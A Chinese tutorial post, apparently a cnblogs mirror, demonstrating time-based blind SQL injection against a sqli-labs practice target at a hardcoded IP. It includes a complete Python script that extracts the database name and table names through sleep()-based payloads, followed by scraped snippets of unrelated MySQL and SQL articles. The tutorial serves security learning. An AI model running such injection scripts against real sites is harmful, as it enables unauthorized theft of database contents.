猜解数据库(MYSQL)信息

http://43.247.91.228:84/Less-1/?id=1‘ and if (length(database())=8,sleep(5),0) --+
注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立
即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
import requests

url1 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (length(database())={_}, sleep(5), 0) --+"

url2 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (ascii(substr(database(),{_},1))={__}, sleep(5), 0) --+"

url3 = "http://43.247.91.228:84/Less-1/?id=1‘ and if ((select count(*) from information_schema.tables where table_schema={_})={__}, sleep(5), 0) --+"

url4 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (ascii(substr((select table_name from information_schema.tables where table_schema={_} limit {__},1),{___},1))={____}, sleep(5),0 ) --+"

################################################################
#    函数功能:猜解数据库名的长度
#    参数意义:n 长度范围
#    返回结果:成功:数据库名长度
#            失败:0
################################################################
def getLength(n):
    for i in range(1, n + 1):
        payload = url1.format( _ = i)
        print (payload)
        ans  = requests.get(payload)
        #响应时间大于等于5秒说明猜解正确
        if (ans.elapsed.seconds >= 5):
            return (i)
            break
        else:
            continue
    return (0)

################################################################
#    函数功能:猜解数据库名
#    参数意义:length 数据库名的长度
#    返回结果:成功:数据库名字符串
#            失败:空字符串
################################################################
def getName(length):
    database = ""  #数据库名初始化为空字符串
    for i in range(1, length + 1):
        for j in range(1, 128):
            payload = url2.format( _ = i, __ = j)
            print (payload)
            ans = requests.get(payload)
            #响应时间大于等于5秒说明猜解正确
            if (ans.elapsed.seconds >= 5):
                database += chr(j)
                break
            else:
                continue
    return (database)

################################################################
#    函数功能:猜解数据库中表的数量
#    参数意义:database 数据库名
#            n 表的数量范围
#    返回结果:成功:表的数量
#            失败:0
################################################################
def getTablesNum(database, n):
    for i in range(1, n + 1):
        payload = url3.format( _ = " ‘"+ database + "‘", __ = i)
        print (payload)
        ans = requests.get(payload)
        if (ans.elapsed.seconds >= 5):
            return (i)
            break
        else:
            continue
    return (0)

################################################################
#    函数功能:猜解表名
#    参数意义:database  数据库名
#            tablesNum 表的数量
#            tableNameLength 表名的长度范围
#    返回结果:所有表名的list数组
################################################################
def getTablesName(database, tablesNum, tableNameLength):
    table = ""
    tables = []
    for i in range(1, tablesNum + 1):
        for j in range(1, tableNameLength + 1):
            for k in range(1, 128):
                payload = url4.format( _ = "‘" + database + "‘",
                                    __ = i-1, ___ = j, ____ = k)
                print (payload)
                ans = requests.get(payload)
                if (ans.elapsed.seconds >= 5):
                    table += chr(k)
                    break
                else:
                    continue
        tables.append(table)
        table = ""
    return (tables)

################################################################
#
#                         主函数
#
################################################################
if __name__=="__main__":
    length = getLength(10)
    database = getName(length)
    tablesNum = getTablesNum(database, 10)
    tables = getTablesName(database, tablesNum, 8)
    print ("数据库名的长度为:" + str(length))
    print ("数据库名为:" + database)
    print ("数据库中表的数量为:" + str(tablesNum))
    print ("所有表如下:")
    for table in tables:
        print (table)

原文地址:https://www.cnblogs.com/soldierback/p/11440044.html

时间: 2024-11-05 06:18:18

猜解数据库(MYSQL)信息的相关文章

SQL注入思路与手工猜解大进阶

什么叫SQL注入? 许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入. SQL注入的思路 思路最重要.其实好多人都不知道SQL到底能做什么呢?这里总结一下SQL注入入侵的总体的思路: 1. SQL注入漏洞的判断,即寻找注入点 2. 判断后台数据库类型 3. 确定XP_CMDSHELL

图解MYSQL JOIN ON,SQL JOIN 详解,数据库sql join语句

对于SQL的Join,在学习起来可能是比较乱的.我们知道,SQL的Join语法有很多inner的,有outer的,有left的,有时候,对于Select出来的结果集是什么样子有点不是很清楚.Coding Horror上有一篇文章(实在不清楚为什么Coding Horror也被墙)通过 文氏图 Venn diagrams 解释了SQL的Join.我觉得清楚易懂,转过来. 假设我们有两张表. Table A 是左边的表. Table B 是右边的表. 其各有四条记录,其中有两条记录是相同的,如下所示

MySQL查看数据库相关信息

使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令 1:查看显示所有数据库 mysql> show databases; +--------------------+ | Database           | +--------------------+ | information_schema | | INVOICE            | | mysql              | | performance_s

Mysql信息数据库:Information_schema

1. Information_schema information_schema是mysql的信息数据库. 通过该库能够查看mysql以下的数据库,表.权限等信息. 在数据库中会默认生成这个库.information_schema事实上是view视图,并非真实存在的表. 在mysql终端能够查看全部数据库. mysql> show databases; 2. 包括的表 查看以下包括的表 mysql> use information_schema; Database changed mysql&

【传智播客郑州校区】数据库MYSQL笔记详解

第1章 数据库1.1 数据库概述l 什么是数据库数据库就是存储数据的仓库,其本质是一个文件系统,数据按照特定的格式将数据存储起来,用户可以对数据库中的数据进行增加,修改,删除及查询操作.l 什么是数据库管理系统数据库管理系统(DataBase Management System,DBMS):指一种操作和管理数据库的大型软件,用于建立.使用和维护数据库,对数据库进行统一管理和控制,以保证数据库的安全性和完整性.用户通过数据库管理系统访问数据库中表内的数据.l 常见的数据库管理系统MYSQL :开源

MySQL配置文件mysql.ini参数详解、MySQL性能优化

MySQL配置文件mysql.ini参数详解.MySQL性能优化 my.ini(Linux系统下是my.cnf),当mysql服务器启动时它会读取这个文件,设置相关的运行环境参数. my.ini分为两块:Client Section和Server Section.   Client Section用来配置MySQL客户端参数.   要查看配置参数可以用下面的命令: show variables like '%innodb%'; # 查看innodb相关配置参数 show status like

JAVAWEB开发之事务详解(mysql与JDBC下使用方法、事务的特性、锁机制)和连接池的详细使用(dbcp以d3p0)

事务简介 事务的概念:事务指逻辑上的一组操作,组成这组操作的各个单元,要么全部成功,要么全部不成功 在开发中,有事务的存在,可以保证数据的完整性. 注意:数据库默认事务是自动提交的,也就是发一条SQL 就执行一条.如果想多条SQL语句放在一个事务中执行,需要添加事务有关的语句. 如何开启事务? 事务的操作方式: 创建表: create table account( id int primary key auto_increment, name varchar(20), money double

趁一切还来得及【一】数据库MySQL基础知识及编译安装

此情更待成追忆,只是当时已惘然.                                        --[唐]李商隐 第一章 数据库概述及分类特点应用 1.1 数据库种类.语言处理.典型产品 ①数据库的理解:就是一个存放数据的仓库,这个仓库是按照一定的数据结构,来组织和存储的.可以通过数据库提供的多种方法来管理数据库. ②数据库的种类:按照早期的数据库理论分为层次数据库.网络式数据库.和关系型数据库.当今互联网最常用的就是关系型数据库和非关系型数据库(NOSQL). ③关系型数据库:

趁一切还来得及【五】数据库MySQL主从同步的实践部署

自笑栖迟淮海客,十年心事一灯前.                                           --[元]萨都拉 第二章 数据库MySQL主从同步部署操作实践 2.1 数据同步相关应用基础 ①MySQL主从同步架构是目前使用最多的数据库架构之一,尤其是负载比较大的网站,因此对于主从同步的部署管理也就显得非常重要. ②MySQL主从同步的作用:(1) 数据分布,(2) 负载平衡(load balancing),(3) 备份,(4) 高可用性(high availability